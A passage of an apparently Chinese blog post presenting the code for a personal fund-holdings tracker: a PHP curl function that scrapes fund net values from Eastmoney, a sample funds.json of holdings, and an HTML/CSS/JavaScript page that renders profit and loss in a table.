invoke__">curl_setopt_array</span>(<span class="variable">$ch</span>, [</span><br><span class="line">        CURLOPT_URL =&gt; <span class="string">&quot;https://fund.eastmoney.com/pingzhongdata/<span class="subst">&#123;$code&#125;</span>.js&quot;</span>,</span><br><span class="line">        CURLOPT_RETURNTRANSFER =&gt; <span class="literal">true</span>,</span><br><span class="line">        CURLOPT_TIMEOUT =&gt; <span class="number">8</span>,</span><br><span class="line">        CURLOPT_HTTPHEADER =&gt; [</span><br><span class="line">            <span class="string">&#x27;Referer: https://fund.eastmoney.com/&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;User-Agent: USER_AGENTS[array_rand(USER_AGENTS)]&#x27;</span></span><br><span class="line">        ]</span><br><span class="line">    ]);</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$content</span> = <span class="title function_ invoke__">curl_exec</span>(<span class="variable">$ch</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 错误处理</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">curl_errno</span>(<span class="variable">$ch</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;网络请求失败：&quot;</span> . <span class="title function_ invoke__">curl_error</span>(<span class="variable">$ch</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="variable">$httpCode</span> = <span class="title function_ invoke__">curl_getinfo</span>(<span class="variable">$ch</span>, CURLINFO_HTTP_CODE);</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$httpCode</span> != <span class="number">200</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;HTTP错误代码：<span class="subst">&#123;$httpCode&#125;</span>&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="title function_ invoke__">curl_close</span>(<span class="variable">$ch</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 解析数据</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/Data_netWorthTrend\s*=\s*(\[.*?\])/s&#x27;</span>, <span class="variable">$content</span>, <span class="variable">$matches</span>)) &#123;</span><br><span class="line">        <span class="variable">$data</span> = <span class="title function_ invoke__">json_decode</span>(<span class="variable">$matches</span>[<span class="number">1</span>], <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">json_last_error</span>() !== JSON_ERROR_NONE) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;JSON解析失败&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="variable">$latest</span> = <span class="title function_ invoke__">end</span>(<span class="variable">$data</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$latest</span>[<span class="string">&#x27;y&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;未找到净值数据&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="funds-json-示例"><a href="#funds-json-示例" class="headerlink" title="funds.json 示例"></a>funds.json 示例</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;南方红利&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;008163&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">1.1424</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">43766.09</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">1.1679</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-16 03:12:56&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;南方中债&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;006961&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">1.3677</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">36535.8</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">1.3675</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-16 03:12:58&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;鹏华中债&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;008040&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">1.0818</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">46196.16</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">1.0817</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-16 03:12:59&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;华泰红利&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;007467&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">1.6458</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">30380.4</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">1.7166</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-15 14:01:51&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;update_enabled&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;摩根标普&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;019305&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">1.4634</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">823.61</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">1.4636</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-16 03:13:00&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;纳斯达克&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="string">&quot;006479&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;cost_price&quot;</span><span class="punctuation">:</span> <span class="number">6.6801</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;shares&quot;</span><span class="punctuation">:</span> <span class="number">180.87</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;latest_net_value&quot;</span><span class="punctuation">:</span> <span class="number">6.6769</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;last_updated&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2025-07-16 03:13:01&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">]</span></span><br></pre></td></tr></table></figure><h3 id="前端模板文件"><a href="#前端模板文件" class="headerlink" title="前端模板文件"></a>前端模板文件</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">h1</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: <span class="number">#2d2d2d</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-weight</span>: <span class="number">600</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">margin-bottom</span>: <span class="number">1.5rem</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">padding-bottom</span>: <span class="number">0.5rem</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border-bottom</span>: <span class="number">2px</span> solid <span class="number">#c62541</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border-collapse</span>: collapse;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">background</span>: white;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">text-align</span>: center;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border-radius</span>: <span class="number">8px</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">margin-bottom</span>: <span class="number">5rem</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">4px</span> <span class="number">6px</span> <span class="built_in">rgba</span>(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0.05</span>);</span></span><br><span class="line"><span class="language-css">    <span class="attribute">transition</span>: box-shadow <span class="number">0.3s</span> ease;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span><span class="selector-pseudo">:hover</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">8px</span> <span class="number">16px</span> <span class="built_in">rgba</span>(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0.1</span>);</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">th</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">background</span>: <span class="number">#c62541</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: white;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">padding</span>: <span class="number">14px</span> <span class="number">16px</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-weight</span>: <span class="number">600</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">text-transform</span>: uppercase;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-size</span>: <span class="number">0.9em</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">td</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">padding</span>: <span class="number">12px</span> <span class="number">16px</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: <span class="number">#444</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border</span>: <span class="number">1px</span> solid <span class="number">#f0f0f0</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">tr</span><span class="selector-pseudo">:last-child</span> <span class="selector-tag">td</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border-bottom</span>: none;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">tr</span><span class="selector-pseudo">:hover</span> <span class="selector-tag">td</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">background</span>: <span class="number">#fff5f7</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-class">.positive</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: <span class="number">#c62541</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-weight</span>: <span class="number">500</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-class">.negative</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: <span class="number">#27ae60</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-weight</span>: <span class="number">500</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="comment">/* 响应式处理 */</span></span></span><br><span class="line"><span class="language-css"><span class="keyword">@media</span> (<span class="attribute">max-width</span>: <span class="number">768px</span>) &#123;</span></span><br><span class="line"><span class="language-css">    <span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">td</span>, <span class="selector-tag">th</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">padding</span>: <span class="number">10px</span> <span class="number">12px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">font-size</span>: <span class="number">0.9em</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css">    </span></span><br><span class="line"><span class="language-css">    <span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-tag">h1</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">font-size</span>: <span class="number">1.4rem</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="comment">/* 时间显示样式 */</span></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">table</span><span class="selector-class">.fund</span> <span class="selector-id">#current-time</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">color</span>: <span class="number">#c62541</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">font-weight</span>: <span class="number">500</span>;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">table</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">thead</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">tr</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>基金代码<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>持有份额<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>成本价<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>当前净值<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>持仓收益<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">th</span>&gt;</span>更新时间<span class="tag">&lt;/<span class="name">th</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">tr</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">thead</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">tbody</span> <span class="attr">id</span>=<span class="string">&quot;funds-body&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">tbody</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">tfoot</span> <span class="attr">class</span>=<span class="string">&quot;highlight&quot;</span> <span class="attr">id</span>=<span class="string">&quot;summary-footer&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">tfoot</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">table</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">style</span>=<span class="string">&quot;margin-top: 1rem; color: #666;&quot;</span>&gt;</span></span><br><span class="line">数据更新频率：每日凌晨3点自动更新</span><br><span class="line"><span class="tag">&lt;<span class="name">br</span>&gt;</span>当前时间：<span class="tag">&lt;<span class="name">span</span> <span class="attr">id</span>=<span class="string">&quot;current-time&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 配置参数</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">const</span> <span class="title class_">JSON</span>_URL = <span class="string">&#x27;https://static.careful.fyi/json/fund.json&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 初始化</span></span></span><br><span class="line"><span class="language-javascript"><span class="variable language_">document</span>.<span class="title function_">addEventListener</span>(<span class="string">&#x27;DOMContentLoaded&#x27;</span>, <span class="title function_">async</span> () =&gt; &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> funds = <span class="keyword">await</span> <span class="title function_">loadFundsData</span>();</span></span><br><span class="line"><span class="language-javascript">        <span class="title function_">renderTable</span>(funds);</span></span><br><span class="line"><span class="language-javascript">        <span class="title function_">startClock</span>();</span></span><br><span class="line"><span class="language-javascript">    &#125; <span class="keyword">catch</span> (error) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="title function_">showError</span>(error.<span class="property">message</span>);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">&#125;);</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 加载远程数据</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">loadFundsData</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">try</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="title class_">JSON</span>_URL);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (!response.<span class="property">ok</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;网络响应异常&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">return</span> <span class="keyword">await</span> response.<span class="title function_">json</span>();</span></span><br><span class="line"><span class="language-javascript">    &#125; <span class="keyword">catch</span> (error) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;数据加载失败，请稍后刷新&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 渲染表格</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">renderTable</span>(<span class="params">funds</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">let</span> total = &#123; <span class="attr">cost</span>: <span class="number">0</span>, <span class="attr">current</span>: <span class="number">0</span>, <span class="attr">profit</span>: <span class="number">0</span> &#125;;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> tbody = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;funds-body&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 生成数据行</span></span></span><br><span class="line"><span class="language-javascript">    tbody.<span class="property">innerHTML</span> = funds.<span class="title function_">map</span>(<span class="function"><span class="params">fund</span> =&gt;</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> fundCost = fund.<span class="property">cost_price</span> * fund.<span class="property">shares</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> fundCurrent = fund.<span class="property">latest_net_value</span> * fund.<span class="property">shares</span>;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> profit = fundCurrent - fundCost;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 累计总数</span></span></span><br><span class="line"><span class="language-javascript">        total.<span class="property">cost</span> += fundCost;</span></span><br><span class="line"><span class="language-javascript">        total.<span class="property">current</span> += fundCurrent;</span></span><br><span class="line"><span class="language-javascript">        total.<span class="property">profit</span> += profit;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">return</span> <span class="string">`</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;tr&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;<span class="subst">$&#123;fund.code&#125;</span>&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;<span class="subst">$&#123;formatNumber(fund.shares, <span class="number">2</span>)&#125;</span>&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;<span class="subst">$&#123;formatNumber(fund.cost_price, <span class="number">4</span>)&#125;</span>&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;<span class="subst">$&#123;fund.latest_net_value ? formatNumber(fund.latest_net_value, <span class="number">4</span>) : <span class="string">&#x27;--&#x27;</span>&#125;</span>&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td class=&quot;<span class="subst">$&#123;profit &gt;= <span class="number">0</span> ? <span class="string">&#x27;positive&#x27;</span> : <span class="string">&#x27;negative&#x27;</span>&#125;</span>&quot;&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">                <span class="subst">$&#123;formatNumber(profit, <span class="number">2</span>)&#125;</span></span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;<span class="subst">$&#123;fund.last_updated || <span 